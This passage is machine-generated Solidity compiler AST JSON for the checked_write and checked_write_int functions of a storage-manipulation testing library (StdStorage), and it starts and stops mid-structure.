pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9023,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"14883:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9035,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14883:51:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9036,"nodeType":"ExpressionStatement","src":"14883:51:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"14812:13:8","parameters":{"id":9021,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9018,"mutability":"mutable","name":"self","nameLocation":"14845:4:8","nodeType":"VariableDeclaration","scope":9038,"src":"14826:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9017,"nodeType":"UserDefinedTypeName","pathNode":{"id":9016,"name":"StdStorage","nameLocations":["14826:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14826:10:8"},"referencedDeclaration":7427,"src":"14826:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9020,"mutability":"mutable","name":"who","nameLocation":"14859:3:8","nodeType":"VariableDeclaration","scope":9038,"src":"14851:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9019,"name":"address","nodeType":"ElementaryTypeName","src":"14851:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"14825:38:8"},"returnParameters":{"id":9022,"nodeType":"ParameterList","parameters":[],"src":"14873:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9055,"nodeType":"FunctionDefinition","src":"14947:120:8","nodes":[],"body":{"id":9054,"nodeType":"Block","src":"15017:50:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9047,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9041,"src":"15041:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"arguments":[{"id":9050,"name":"amt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9043,"src":"15055:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9049,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15047:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9048,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15047:7:8","typeDescriptions":{}}},"id":9051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15047:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9046,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"15027:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15027:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9053,"nodeType":"ExpressionStatement","src":"15027:33:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"14956:13:8","parameters":{"id":9044,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9041,"mutability":"mutable","name":"self","nameLocation":"14989:4:8","nodeType":"VariableDeclaration","scope":9055,"src":"14970:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9040,"nodeType":"UserDefinedTypeName","pathNode":{"id":9039,"name":"StdStorage","nameLocations":["14970:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14970:10:8"},"referencedDeclaration":7427,"src":"14970:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9043,"mutability":"mutable","name":"amt","nameLocation":"15003:3:8","nodeType":"VariableDeclaration","scope":9055,"src":"14995:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9042,"name":"uint256","nodeType":"ElementaryTypeName","src":"14995:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14969:38:8"},"returnParameters":{"id":9045,"nodeType":"ParameterList","parameters":[],"src":"15017:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9075,"nodeType":"FunctionDefinition","src":"15073:132:8","nodes":[],"body":{"id":9074,"nodeType":"Block","src":"15146:59:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9064,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9058,"src":"15170:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"arguments":[{"arguments":[{"id":9069,"name":"val","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9060,"src":"15192:3:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":9068,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15184:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9067,"name":"uint256","nodeType":"ElementaryTypeName","src":"15184:7:8","typeDescriptions":{}}},"id":9070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15184:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9066,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15176:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9065,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15176:7:8","typeDescriptions":{}}},"id":9071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15176:21:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9063,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"15156:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15156:42:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9073,"nodeType":"ExpressionStatement","src":"15156:42:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write_int","nameLocation":"15082:17:8","parameters":{"id":9061,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9058,"mutability":"mutable","name":"self","nameLocation":"15119:4:8","nodeType":"VariableDeclaration","scope":9075,"src":"15100:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9057,"nodeType":"UserDefinedTypeName","pathNode":{"id":9056,"name":"StdStorage","nameLocations":["15100:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"15100:10:8"},"referencedDeclaration":7427,"src":"15100:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9060,"mutability":"mutable","name":"val","nameLocation":"15132:3:8","nodeType":"VariableDeclaration","scope":9075,"src":"15125:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9059,"name":"int256","nodeType":"ElementaryTypeName","src":"15125:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"15099:37:8"},"returnParameters":{"id":9062,"nodeType":"ParameterList","parameters":[],"src":"15146:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9093,"nodeType":"FunctionDefinition","src":"15211:222:8","nodes":[],"body":{"id":9092,"nodeType":"Block","src":"15280:153:8","nodes":[],"statements":[{"assignments":[9084],"declarations":[{"constant":false,"id":9084,"mutability":"mutable","name":"t","nameLocation":"15298:1:8","nodeType":"VariableDeclaration","scope":9092,"src":"15290:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9083,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15290:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9085,"nodeType":"VariableDeclarationStatement","src":"15290:9:8"},{"AST":{"nativeSrc":"15361:34:8","nodeType":"YulBlock","src":"15361:34:8","statements":[{"nativeSrc":"15375:10:8","nodeType":"YulAssignment","src":"15375:10:8","value":{"name":"write","nativeSrc":"15380:5:8","nodeType":"YulIdentifier","src":"15380:5:8"},"variableNames":[{"name":"t","nativeSrc":"15375:1:8","nodeType":"YulIdentifier","src":"15375:1:8"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":9084,"isOffset":false,"isSlot":false,"src":"15375:1:8","valueSize":1},{"declaration":9080,"isOffset":false,"isSlot":false,"src":"15380:5:8","valueSize":1}],"id":9086,"nodeType":"InlineAssembly","src":"15352:43:8"},{"expression":{"arguments":[{"id":9088,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9078,"src":"15418:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":9089,"name":"t","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9084,"src":"15424:1:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9087,"name":"checked_write","nodeType":"Identifier","overloadedDeclarations":[9038,9055,9093,9285],"referencedDeclaration":9285,"src":"15404:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$__$","typeString":"function (struct StdStorage storage pointer,bytes32)"}},"id":9090,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15404:22:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9091,"nodeType":"ExpressionStatement","src":"15404:22:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"15220:13:8","parameters":{"id":9081,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9078,"mutability":"mutable","name":"self","nameLocation":"15253:4:8","nodeType":"VariableDeclaration","scope":9093,"src":"15234:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9077,"nodeType":"UserDefinedTypeName","pathNode":{"id":9076,"name":"StdStorage","nameLocations":["15234:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"15234:10:8"},"referencedDeclaration":7427,"src":"15234:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9080,"mutability":"mutable","name":"write","nameLocation":"15264:5:8","nodeType":"VariableDeclaration","scope":9093,"src":"15259:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9079,"name":"bool","nodeType":"ElementaryTypeName","src":"15259:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"15233:37:8"},"returnParameters":{"id":9082,"nodeType":"ParameterList","parameters":[],"src":"15280:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9285,"nodeType":"FunctionDefinition","src":"15439:1484:8","nodes":[],"body":{"id":9284,"nodeType":"Block","src":"15509:1414:8","nodes":[],"statements":[{"assignments":[9102],"declarations":[{"constant":false,"id":9102,"mutability":"mutable","name":"who","nameLocation":"15527:3:8","nodeType":"VariableDeclaration","scope":9284,"src":"15519:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9101,"name":"address","nodeType":"ElementaryTypeName","src":"15519:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":9105,"initialValue":{"expression":{"id":9103,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15533:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9104,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15538:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"15533:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"15519:26:8"},{"assignments":[9107],"declarations":[{"constant":false,"id":9107,"mutability":"mutable","name":"fsig","nameLocation":"15562:4:8","nodeType":"VariableDeclaration","scope":9284,"src":"15555:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":9106,"name":"bytes4","nodeType":"ElementaryTypeName","src":"15555:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"id":9110,"initialValue":{"expression":{"id":9108,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15569:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9109,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15574:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"15569:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"VariableDeclarationStatement","src":"15555:23:8"},{"assignments":[9112],"declarations":[{"constant":false,"id":9112,"mutability":"mutable","name":"field_depth","nameLocation":"15596:11:8","nodeType":"VariableDeclaration","scope":9284,"src":"15588:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9111,"name":"uint256","nodeType":"ElementaryTypeName","src":"15588:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":9115,"initialValue":{"expression":{"id":9113,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15610:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9114,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15615:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"15610:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"15588:33:8"},{"assignments":[9117],"declarations":[{"constant":false,"id":9117,"mutability":"mutable","name":"params","nameLocation":"15644:6:8","nodeType":"VariableDeclaration","scope":9284,"src":"15631:19:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":9116,"name":"bytes","nodeType":"ElementaryTypeName","src":"15631:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":9122,"initialValue":{"arguments":[{"id":9120,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15682:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9118,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"15653:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9119,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15668:13:8","memberName":"getCallParams","nodeType":"MemberAccess","referencedDeclaration":7506,"src":"15653:28:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) view returns (bytes memory)"}},"id":9121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15653:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"15631:56:8"},{"condition":{"id":9138,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"15702:78:8","subExpression":{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":9123,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15703:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9124,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15708:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"15703:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":9126,"indexExpression":{"id":9125,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"15714:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15703:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":9128,"indexExpression":{"id":9127,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9107,"src":"15719:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15703:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":9136,"indexExpression":{"arguments":[{"arguments":[{"id":9132,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9117,"src":"15752:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":9133,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9112,"src":"15760:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9130,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15735:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":9131,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15739:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"15735:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":9134,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15735:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":9129,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"15725:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":9135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15725:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15703:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":9137,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15775:5:8","memberName":"found","nodeType":"MemberAccess","referencedDeclaration":7401,"src":"15703:77:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":9145,"nodeType":"IfStatement","src":"15698:126:8","trueBody":{"id":9144,"nodeType":"Block","src":"15782:42:8","statements":[{"expression":{"arguments":[{"id":9140,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15801:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"66616c7365","id":9141,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"15807:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":9139,"name":"find","nodeType":"Identifier","overloadedDeclarations":[8825,8843],"referencedDeclaration":8843,"src":"15796:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bool) returns (uint256)"}},"id":9142,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15796:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":9143,"nodeType":"ExpressionStatement","src":"15796:17:8"}]}},{"assignments":[9148],"declarations":[{"constant":false,"id":9148,"mutability":"mutable","name":"data","nameLocation":"15850:4:8","nodeType":"VariableDeclaration","scope":9284,"src":"15833:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":9147,"nodeType":"UserDefinedTypeName","pathNode":{"id":9146,"name":"FindData","nameLocations":["15833:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"15833:8:8"},"referencedDeclaration":7402,"src":"15833:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}},"visibility":"internal"}],"id":9163,"initialValue":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":9149,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"15857:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":9150,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15862:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"15857:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":9152,"indexExpression":{"id":9151,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"15868:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15857:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":9154,"indexExpression":{"id":9153,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9107,"src":"15873:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15857:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":9162,"indexExpression":{"arguments":[{"arguments":[{"id":9158,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9117,"src":"15906:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":9159,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9112,"src":"15914:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9156,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15889:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":9157,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15893:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"15889:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":9160,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15889:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 